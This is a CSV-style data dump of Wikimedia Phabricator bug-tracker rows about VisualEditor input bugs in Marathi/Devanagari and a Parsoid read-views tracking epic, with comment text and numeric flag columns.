+  git fetch ssh://qchris@gerrit.wikimedia.org:29418/mediawiki/extensions/MassMessage refs/changes/96/82796/1
+  fatal: Couldn't find remote ref refs/changes/96/82796/1",,,1378461586,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-gendcsutkyq5czjdhhzy,task_subcomment,,True,c1,3,False,,,9,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,0,0
+55788,VisualEditor: Marathi/Devanagari: Save button does not get enabled for same or lesser length change,"*Problem Description: If for spelling correction purposes only few charecters within any word are selected and replaced with other charecter of same or lesser length, without movement of arrow keys or spacebar, save button does not get enabled, so effectively we would not be able to save the change.
+
+**Additional details : Problem was identified when we were trying to reproduce bug 53758, intution is it may be some how indirectly related to bug 53758
+
+
+*Tested Browser and OS =Firefox+Win7
+
+**Were enabled: VisualEditor+ULS Method of input = अक्षरांतरण language=Marathi 
+Script=Devanagari  (Non-VE source edit environ,ULS Method of input = अक्षरांतरण
+works normal)     
+
+Steps to reproduce:
+* Steps to reproduce:
+1. Go to existing page with considerable Marathi Devnagari text may be like
+https://mr.wikipedia.org/wiki/अभिमन्यु
+
+2. Go to माझ्या पसंती (Preferences), संपादन and enable last option:
+यथादृश्यसंपादक कार्यान्वित करा (केवळ मुख्य(लेख) आणि सदस्य नामविश्वात) - this
+enables VisualEditor
+3. Click cog next to इतर भाषांमध्ये
+4. Under क्षेपन (टायपींग ईनपुट) make sure to choose अक्षरांतरण
+
+5. Select any random  marathi word from existing paragraph text 
+
+6.Make the changes in the word by changing alphabate but see that length of the word remains less after the change.
+**Please note do not move arrow keys or spacebar
+
+7 Save button does not apear
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1378345920,1381270319.0,PHID-USER-azy72hrp3tpetr52aob6,False,,False,PHID-TASK-djr6oferphbxqbgynsnj,task_description,resolved,True,c1,3,False,False,False,9,,1,0,0,1,1,1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,1,0,1
+239892,VisualEditor: Marathi/Devanagari: Save button does not get enabled for same or lesser length change,"Based on your comments, I'm marking this as FIXED - please check, and reopen if it's not!",,,1381270319,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-djr6oferphbxqbgynsnj,task_subcomment,,True,c1,3,True,,,14,,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+239884,VisualEditor: Marathi/Devanagari: Save button does not get enabled for same or lesser length change,"(In reply to comment #4)
+
+*This Test phase seems to have fixed problem on mediawiki.Tested at my user page on mediawiki at https://www.mediawiki.org/wiki/User:Mahitgar now works well
+
+
+*Still to be fixed on rest of the wikis including mr wikipedia   https://mr.wikipedia.org/wiki/अभिमन्यु
+
+Thanks and Regards
+
+-Mahitgar",,,1379609001,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-djr6oferphbxqbgynsnj,task_subcomment,,True,c1,3,False,,,11,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+239880,VisualEditor: Marathi/Devanagari: Save button does not get enabled for same or lesser length change,"There's code to address this bug in the following patch, which is due to go live by mediawiki.org on 13 September 2013:
+
+https://gerrit.wikimedia.org/r/#/c/82858/
+
+Please let us know whether it fixes the bug!",,,1378942957,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-djr6oferphbxqbgynsnj,task_subcomment,,True,c1,3,False,,,10,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,1,1,0,1,1,0,0,1
+239873,VisualEditor: Marathi/Devanagari: Save button does not get enabled for same or lesser length change,"(In reply to comment #2)
+
+Firefox version- 23.0.1 It gets automatically updated
+
+Rgds",,,1378477476,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-djr6oferphbxqbgynsnj,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+239865,VisualEditor: Marathi/Devanagari: Save button does not get enabled for same or lesser length change,"(In reply to comment #0)
+> *Tested Browser and OS =Firefox+Win7
+
+Please always provide exact version info (your Firefox version).",,,1378373175,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-djr6oferphbxqbgynsnj,task_subcomment,,True,c1,3,True,,,9,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+239859,VisualEditor: Marathi/Devanagari: Save button does not get enabled for same or lesser length change,"Sorry 
+*7 Save button does not get enabled",,,1378345999,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-djr6oferphbxqbgynsnj,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+55784,[EPIC] Use Parsoid HTML for all page views,"In the mid to end 2021 timeframe, the Parsing Team is aiming to start migrating read views for Wikimedia wikis from the core parser to Parsoid.
+
+https://www.mediawiki.org/wiki/Parsing/Parser_Unification is the wiki page for this project.
+
+This is a tracking task for getting this done. Subtasks track the specific work for getting this done.",High,80.0,1378338120,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,False,PHID-TASK-bq2ty22xrf3ppn7g6cdz,task_description,open,True,c1,3,True,False,,9,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+2143205,[EPIC] Use Parsoid HTML for all page views,"I'm removing #user-notice, as this task is too global. Specific tasks, with concrete actions, are more than welcome to be tagged for user announcements. ",,,1686825388,,PHID-USER-uciss2jl2e4ifxqqk7wk,False,,,PHID-TASK-bq2ty22xrf3ppn7g6cdz,task_subcomment,,True,c1,3,False,,,519,,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0
+2110328,[EPIC] Use Parsoid HTML for all page views,"Change 910556 had a related patch set uploaded (by C. Scott Ananian; author: C. Scott Ananian):
+%%%[operations/mediawiki-config@master] Turn on experimental Parsoid Read Views support, except on commons & wikidata%%%
+https://gerrit.wikimedia.org/r/910556",,,1682009947,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bq2ty22xrf3ppn7g6cdz,task_subcomment,,True,c1,3,False,,,511,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+2110327,[EPIC] Use Parsoid HTML for all page views,"Change 910044 had a related patch set uploaded (by C. Scott Ananian; author: C. Scott Ananian):
+%%%[mediawiki/services/parsoid@master] Experimenally enable Parsoid Read Views with ?useparsoid=1 query string%%%
+https://gerrit.wikimedia.org/r/910044",,,1682009851,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bq2ty22xrf3ppn7g6cdz,task_subcomment,,True,c1,3,False,,,511,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0
+1137547,[EPIC] Use Parsoid HTML for all page views,"This ultra-epic is the perfect example of a task appropriately in the category of ""general MediaWiki tasks"".",,,1536338087,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bq2ty22xrf3ppn7g6cdz,task_subcomment,,True,c1,3,True,,,270,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0
+1100468,[EPIC] Use Parsoid HTML for all page views,Tagging this for the Web and Infrastructure teams.,,,1531152561,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bq2ty22xrf3ppn7g6cdz,task_subcomment,,True,c1,3,True,,,262,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+593537,[EPIC] Use Parsoid HTML for all page views,"Wikimedia Developer Summit 2016 ended two weeks ago. This task is still open. **If the session in this task took place**, please make sure 1) that the session Etherpad notes are linked from this task, 2) that followup tasks for any actions identified have been created and linked from this task, 3) to change the status of this task to ""resolved"". **If this session did not take place**, change the task status to ""declined"". **If this task** itself has become a well-defined action which **is not finished yet**, drag and drop this task into the ""Work continues after Summit"" column on the project workboard. Thank you for your help!",,,1453313802,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-bq2ty22xrf3ppn7g6cdz,task_subcomment,,True,c1,3,True,,,133,,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,1,1,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,0,0,0,1
+559176,[EPIC] Use Parsoid HTML for all page views,"Today is November 6, and this proposal is basically not on track. Unless the situation suddenly changes and/or @robla-wmf and the Architecture Committee really want to schedule it, it will be removed as a #Wikimedia-Developer-Summit-2016 proposal.",,,1446806999,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-bq2ty22xrf3ppn7g6cdz,task_subcomment,,True,c1,3,False,,,122,,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,1,1,0,0,1,0,0,0,0,0
+554085,[EPIC] Use Parsoid HTML for all page views,"@mobrovac: if you really think this should happen, you should drive it rather than delegate it to #ArchCom.  @gwicke //might// volunteer to take this on, but I'm not going to speak for him.",,,1446061348,,PHID-USER-edlps6xg553cjlnvd4ao,False,,,PHID-TASK-bq2ty22xrf3ppn7g6cdz,task_subcomment,,True,c1,3,False,,,121,,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,0,0,1,1,0,0,0,1,1,0,0,0
+553686,[EPIC] Use Parsoid HTML for all page views,"@Qgil, the reason is that this requires a wide cross-org consensus (and later work), so I'd say the ArchCom should drive this one.",,,1446031849,,PHID-USER-hxwwywcyzpooynxuo7a2,False,,,PHID-TASK-bq2ty22xrf3ppn7g6cdz,task_subcomment,,True,c1,3,False,,,121,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,1,1,0,0,1,0,0,0,0,0
+553681,[EPIC] Use Parsoid HTML for all page views,"With so many blocking/blocked tasks, no specific Summit plans specified in the description, and no assignee, it is difficult to evaluate whether this Summit proposal is On Track with ongoing discussion. Can someone step in as driver of the discussion and confirm the interest in getting a slot in the Summit schedule, please?",,,1446031440,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-bq2ty22xrf3ppn7g6cdz,task_subcomment,,True,c1,3,False,,,121,,1,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+540638,[EPIC] Use Parsoid HTML for all page views,"Congratulations! This is one of the 52 proposals that made it through the first deadline of the #Wikimedia-Developer-Summit-2016  [[ https://www.mediawiki.org/wiki/Wikimedia_Developer_Summit_2016#Submissions_and_selection_process | selection process ]]. Please pay attention to the next one:  > By **6 Nov 2015**, all Summit proposals must have active discussions and a Summit plan documented in the description. Proposals not reaching this critical mass can continue at their own path out of the Summit.",,,1443905863,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-bq2ty22xrf3ppn7g6cdz,task_subcomment,,True,c1,3,False,,,117,,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,1,1,1,1,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+536650,[EPIC] Use Parsoid HTML for all page views,"FWIW, I did get some informal agreement that using Parsoid HTML for ""Printable page"" views was a reasonable thing to deploy on wikitech, as a first step.  I may try to write a standalone extension to do this.",,,1443474280,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-bq2ty22xrf3ppn7g6cdz,task_subcomment,,True,c1,3,True,,,117,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+418980,[EPIC] Use Parsoid HTML for all page views,">>! In T55784#1047315, @GWicke wrote:
+> @jdforrester-wmf, is this really high priority for you right now right now? Should we prioritize intermediate steps higher?
+
+It's not a Q3 urgency for VisualEditor, no.",,,1425275795,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bq2ty22xrf3ppn7g6cdz,task_subcomment,,True,c1,3,True,,,87,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,1,0,0,1,1,1,1,0,1,1,0,0,1,0,0,1,0,1
+413586,[EPIC] Use Parsoid HTML for all page views,"@jdforrester-wmf, is this really high priority for you right now right now? Should we prioritize intermediate steps higher?",,,1424285507,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-bq2ty22xrf3ppn7g6cdz,task_subcomment,,True,c1,3,True,,,85,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0,1,0,0
+239691,[EPIC] Use Parsoid HTML for all page views,*** Bug 53780 has been marked as a duplicate of this bug. ***,,,1378338206,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-bq2ty22xrf3ppn7g6cdz,task_subcomment,,True,c1,3,True,,,9,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+55758,Visualditor: Marathi/Devanagari: edit change not reflecting in edit preview,"*Problem Description:Where text is already present,Along with any of above problems, Some times edited aspect is shown in edit window but does not reflect in edit preview 
+
+**Additional Details : Probably problem arises when we insert any additional charecters or word between two existing words in a sentence.
+
+
+I suppose this would be easy to reproduce screen shot & will do it soon.
+
+
+* Steps to reproduce:
+1. Go to existing page with considerable Marathi Devnagari text may be like
+https://mr.wikipedia.org/wiki/अभिमन्यु
+
+2. Go to माझ्या पसंती (Preferences), संपादन and enable last option:
+यथादृश्यसंपादक कार्यान्वित करा (केवळ मुख्य(लेख) आणि सदस्य नामविश्वात) - this
+enables VisualEditor
+3. Click cog next to इतर भाषांमध्ये
+4. Under क्षेपन (टायपींग ईनपुट) make sure to choose अक्षरांतरण
+
+5. Select any random  two marathi word from existing paragraph text 
+
+6. insert any additional charecters or word between two existing words in a sentence.
+
+**Problem is not always but frequent .Tested on Win7 +Firefox
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1378310460,1381270232.0,PHID-USER-azy72hrp3tpetr52aob6,False,,False,PHID-TASK-sudk6gs3gu276aszhg6w,task_description,resolved,True,c1,3,False,False,False,9,,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+237966,Visualditor: Marathi/Devanagari: edit change not reflecting in edit preview,"Based on your comments, I'm marking this as FIXED - please check, and reopen if it's not!",,,1381270232,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-sudk6gs3gu276aszhg6w,task_subcomment,,True,c1,3,True,,,14,,0,0,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+237960,Visualditor: Marathi/Devanagari: edit change not reflecting in edit preview,"*Done first round of testing seems to have solved but since problem is not frequent one for final confirmation we will need to have more tests and time.
+
+Thanks and regards",,,1379660392,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-sudk6gs3gu276aszhg6w,task_subcomment,,True,c1,3,False,,,11,,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0
+237952,Visualditor: Marathi/Devanagari: edit change not reflecting in edit preview,"There's code to address this bug in the following patch, which is due to go live by mediawiki.org on 13 September 2013:
+
+https://gerrit.wikimedia.org/r/#/c/82858/
+
+Please let us know whether it fixes the bug!",,,1378943075,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-sudk6gs3gu276aszhg6w,task_subcomment,,True,c1,3,False,,,10,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,1,1,0,1,1,0,0,1
+237945,Visualditor: Marathi/Devanagari: edit change not reflecting in edit preview,Usually this problem does not come in isolation but comes when some other problems are happening reported in earlier bugs for Marathi/Devnagri but it is defficult to specify that the problem will come when exactly a specific other problem is existent.May need more observation to notify exact time of ocurrance.,,,1378310693,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-sudk6gs3gu276aszhg6w,task_subcomment,,True,c1,3,False,,,9,,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,1,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+55757,VisualEditor: Marathi/Devanagari: Backpace deletes  text on right side,"*Problem description : spell correction of any word eats up text (with continuous motion) on right side until you press spacebar 
+
+**Additional Details: The problem is quite frequent but not always.Observed specially when we give backpace and add up more charecters to the word than earlier length of of the word  
+
+* Steps to reproduce:
+1. Go to existing page with considerable Marathi Devnagari text may be like https://mr.wikipedia.org/wiki/अभिमन्यु
+
+2. Go to माझ्या पसंती (Preferences), संपादन and enable last option:
+यथादृश्यसंपादक कार्यान्वित करा (केवळ मुख्य(लेख) आणि सदस्य नामविश्वात) - this
+enables VisualEditor
+3. Click cog next to इतर भाषांमध्ये
+4. Under क्षेपन (टायपींग ईनपुट) make sure to choose अक्षरांतरण
+
+5. Select any random  marathi word from text 
+
+6. delet few charecters with backspace
+
+7. Add few new marathi charectes to the word
+
+8. If the problem is not observed in single effort try spell corrections again in some other words 
+
+
+*VisualEditor+ULS Method of input = अक्षरांतरण language=Marathi 
+Script=Devanagari  (Non-VE source edit environ,ULS Method of input = अक्षरांतरण
+works normal   
+
+*Tested Browser and OS =Firefox+Win7
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51472",High,80.0,1378309560,1385507002.0,PHID-USER-azy72hrp3tpetr52aob6,False,,False,PHID-TASK-r65cbq4ixbupvjwfesjt,task_description,resolved,True,c1,3,False,False,False,9,,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,1,1,0,0,0,1,0,1,1,1,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,1,0,1
+237895,VisualEditor: Marathi/Devanagari: Backpace deletes  text on right side,"Change 80689 merged by jenkins-bot:
+Revert model to use simple UTF-16 code units
+
+https://gerrit.wikimedia.org/r/80689",,,1385506396,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-r65cbq4ixbupvjwfesjt,task_subcomment,,True,c1,3,False,,,21,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+237888,VisualEditor: Marathi/Devanagari: Backpace deletes  text on right side,"Change 80689 had a related patch set uploaded by Divec:
+Revert model to use simple UTF-16 code units
+
+https://gerrit.wikimedia.org/r/80689",,,1384940647,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-r65cbq4ixbupvjwfesjt,task_subcomment,,True,c1,3,False,,,20,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+237881,VisualEditor: Marathi/Devanagari: Backpace deletes  text on right side,"Hello,
+
+Would it be possible to test this against current master? You can use this at
+http://en.wikipedia.beta.wmflabs.org/ - we believe that we may have fixed the
+issues (or, at least, changed the behaviour) since you tested it.
+
+Thank you!",,,1381270119,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-r65cbq4ixbupvjwfesjt,task_subcomment,,True,c1,3,True,,,14,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,1,0,0,0,1,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,1,0
+237873,VisualEditor: Marathi/Devanagari: Backpace deletes  text on right side,"(In reply to comment #1)
+
+*Did one round of test at my user page on media wiki https://www.mediawiki.org/wiki/User:Mahitgar 
+
+Seems to get partially fixed with some different wierdness in some other case so will need more tests and time to confirm
+
+
+Rgds",,,1379657853,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-r65cbq4ixbupvjwfesjt,task_subcomment,,True,c1,3,False,,,11,,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,1,0,0
+237867,VisualEditor: Marathi/Devanagari: Backpace deletes  text on right side,"There's code to address this bug in the following patch, which is due to go live by mediawiki.org on 13 September 2013:
+
+https://gerrit.wikimedia.org/r/#/c/82858/
+
+Please let us know whether it fixes the bug!",,,1378943063,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-r65cbq4ixbupvjwfesjt,task_subcomment,,True,c1,3,False,,,10,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,1,1,0,1,1,0,0,1
